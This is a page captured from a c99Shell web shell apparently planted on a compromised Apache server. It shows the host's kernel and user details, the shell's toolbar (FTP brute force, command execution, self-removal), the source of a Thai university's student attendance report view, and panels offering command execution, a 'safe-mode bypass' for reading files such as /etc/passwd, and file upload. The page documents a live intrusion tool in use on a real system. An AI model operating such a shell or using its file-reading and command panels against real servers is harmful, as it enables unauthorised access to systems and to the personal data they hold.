!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_rpt_attend.php (4.26 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script language="javascript">
function newXmlHttp(){
    var xmlhttp = false;

    try{
        xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
        }catch(e){
            try{
                xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
            }catch(e){
                xmlhttp = false;
            }
        }


    if(!xmlhttp && document.createElement){
        xmlhttp = new XMLHttpRequest();
    }

return xmlhttp;
}
function get_dpj(){
    var year = document.getElementById("year").value ;
    var mb_type = document.getElementById("mb_type").value ;    
    var url = "<?=site_url("esa/report/get_dpj")?>"+"/"+year+"/"+mb_type;
    //alert(url);
    xmlhttp = newXmlHttp();
    xmlhttp.open("GET", url, false);
    xmlhttp.send(null); 

    document.getElementById("dpj").innerHTML = xmlhttp.responseText;
    
}
function change_dpj(id){
    document.getElementById("dpj_id").value = id;
}
function report_print() {
    document.getElementById("type").value = "print";
    document.getElementById("myform_search").action = "attend_dpj";
    document.getElementById("myform_search").submit();
    document.getElementById("type").value = "";
}

</script>
<body onload="get_dpj()">
<table width="100%" border="0" >
    <thead>
    <tr>
        <td align='center'><h3>รายงานรายชื่อผู้เข้าร่วมโครงการ/กิจกรรม</h3></td>
    </tr>
    <?php
        $attributes 
= array('id' => 'myform_search''name' => 'myform_search');
        echo 
form_open("esa/report/attend_dpj"$attributes);
    
?>
    
    <tr>
        <td>
    <table class='szone2' width="100%" border="0" >
        <tr class='szone'>
            <td width="20%" align="right">ปีงบประมาณ </td>
            <td>
            <?=form_dropdown('year'$qu_ib ,set_value('year'$mb_year), " id='year' onchange='get_dpj()'"); ?>
            </td>
        </tr>
        <tr class='szone'>
            <td align="right">ประเภท</td>
            <td><?php echo form_dropdown('mb_type'$rs_type$mb_type" id='mb_type' onchange='get_dpj()'");?></td>
        </tr>
        <tr class='szone'>
            <td align="right">ชื่อ โครงการ / กิจกรรม</td>
            <td><div id='dpj'></div><?php //echo form_dropdown('dpj_id', "", set_value('dpj_id',$dpj_id));?></td>
        </tr>
        <tr class='szone'>
            <td align="right">รหัส / ชื่อ-สกุลนักศึกษา </td>
            <td><input type="text" id="v_search" name="v_search" value="<?=$v_search;?>" size='30' /></td>
        </tr>
        <tr class='szone2'>
            <td height="30" colspan="2" align="center">
            <input type="hidden" id="type" name="type" value=""/>
            <input type="hidden" id="dpj_id" name="dpj_id" value=""/>
            <input type="submit" id="btnSearch" name="btnSearch" value="ค้นหา" />
            </td>
        </tr>
    <?php
        
echo form_close();
    
?>
    </table>
        </td>
    </tr>
</table>
<br>
<div align='right'><?=img($this->config->item('sa_image_print'));?></div>
<br>
<table class='tb_1' width="100%" border="0">
    <tr>
        <th align="center">ลำดับที่</th>
        <th align="center">ปีงบประมาณ</th>
        <th align="center">รหัสนักศึกษา</th>
        <th align="center">ชื่อ - นามสกุล</th>
        <th align="center">โครงการ/กิจกรรม</th>
        <th align="center">ปี/ภาคการศึกษา/ชั้นปี ที่เข้าร่วม</th>
        <th align="center">วันที่เข้าร่วม</th>
    </tr>

<?php
if ($rs_dpj->num_rows 0) {
    
$index=1;
    foreach (
$rs_dpj->result() as $row) {
?>
    <tr>
        <td align="center"><?php echo $index;?></td>
        <td align="center"><?php echo $row->mb_year;?></td>
        <td align="center"><?php echo $row->stdCode;?></td>
        <td ><?php echo $row->prefixName.$row->stdName.' '.$row->stdSurname ;?></td>
        <td ><?php echo ($row->acp_name=='')? '[ โครงการ ] '.$row->dpj_name '[ กิจกรรม ] '.$row->acp_name ;?></td>
        <td align="center"><?php echo $row->mb_year.'/'.$row->mb_tmId.'/'.$row->mb_syId;?></td>
        <td align="center"><?php echo abbreDate2($row->mb_fr_date);?></td>
    </tr>
<?php
    $index
++;
    }
}else{
?>
<tr class='notfound'>
    <td colspan="7" align="center"><?php echo $this->config->item('sa_not_found');?></td>
</tr>
<?php
}
?>
</table>
<SCRIPT LANGUAGE="Javascript">
//change_dpj('<?=$mb_type?>','<?=$dpj_id?>','<?=mt_rand()?>');
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0098 ]--